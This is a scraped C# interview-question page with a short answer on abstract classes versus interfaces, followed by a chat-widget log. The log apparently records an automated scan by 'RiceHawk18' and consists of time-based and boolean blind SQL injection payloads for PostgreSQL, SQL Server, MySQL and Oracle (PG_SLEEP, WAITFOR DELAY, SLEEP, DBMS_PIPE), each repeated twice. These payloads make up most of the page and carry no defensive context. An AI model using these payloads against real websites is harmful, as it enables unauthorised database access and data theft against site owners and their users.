What is abstract class and what is it good for?
Experience Level: Medior
Tags: C#
Answer
Answer
- Similar to interface, except the interface doesn't have any implementation and abstract class can have it.
- Useful for providing default implementation that is then used by a subclasses.
Related C# job interview questions
What are the advantages of using 'using' keyword in C# and why would you use it?
C# JuniorWhat is a namespace in C# and what is it good for?
C# JuniorWhat is covariance and contravariance?
.NETASP.NET MVCASP.NET WebAPIASP.NET WebFormsC# SeniorHave you ever consumed some 3rd party API? What was it? Have you ever designed your own API? Could you describe it a bit?
.NETArchitectureASP.NET WebAPIC#Web services MediorWhat is serialization/deserialization? What types of serialization do you know?
.NETC# Medior
Chat
Oh, the operator is not available. Leave us your comments. We will answer all your questions as soon as possible.
RiceHawk18
e
e
RiceHawk18
@@xeDO0
@@xeDO0
RiceHawk18
1'"
1'"
RiceHawk18
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
RiceHawk18
L7oVYP7m')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
L7oVYP7m')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
RiceHawk18
A1v25QPv') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
A1v25QPv') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
RiceHawk18
kxT46vOm' OR 479=(SELECT 479 FROM PG_SLEEP(15))--
kxT46vOm' OR 479=(SELECT 479 FROM PG_SLEEP(15))--
RiceHawk18
VTgcz37T'; waitfor delay '0:0:15' --
VTgcz37T'; waitfor delay '0:0:15' --
RiceHawk18
1 waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
RiceHawk18
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
RiceHawk18
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
RiceHawk18
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
RiceHawk18
if(now()=sysdate(),sleep(15),0)
if(now()=sysdate(),sleep(15),0)
RiceHawk18
-1" OR 3+906-906-1=0+0+0+1 --
-1" OR 3+906-906-1=0+0+0+1 --
RiceHawk18
-1" OR 2+906-906-1=0+0+0+1 --
-1" OR 2+906-906-1=0+0+0+1 --
RiceHawk18
-1' OR 3+316-316-1=0+0+0+1 or '8BoDIAd6'='
-1' OR 3+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 2+316-316-1=0+0+0+1 or '8BoDIAd6'='
-1' OR 2+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 3+137-137-1=0+0+0+1 --
-1' OR 3+137-137-1=0+0+0+1 --
RiceHawk18
-1' OR 2+137-137-1=0+0+0+1 --
-1' OR 2+137-137-1=0+0+0+1 --
RiceHawk18
-1 OR 3+877-877-1=0+0+0+1
-1 OR 3+877-877-1=0+0+0+1
RiceHawk18
-1 OR 2+877-877-1=0+0+0+1
-1 OR 2+877-877-1=0+0+0+1
RiceHawk18
-1 OR 3+418-418-1=0+0+0+1 --
-1 OR 3+418-418-1=0+0+0+1 --
RiceHawk18
-1 OR 2+418-418-1=0+0+0+1 --
-1 OR 2+418-418-1=0+0+0+1 --
RiceHawk18
e
e
RiceHawk18
e
e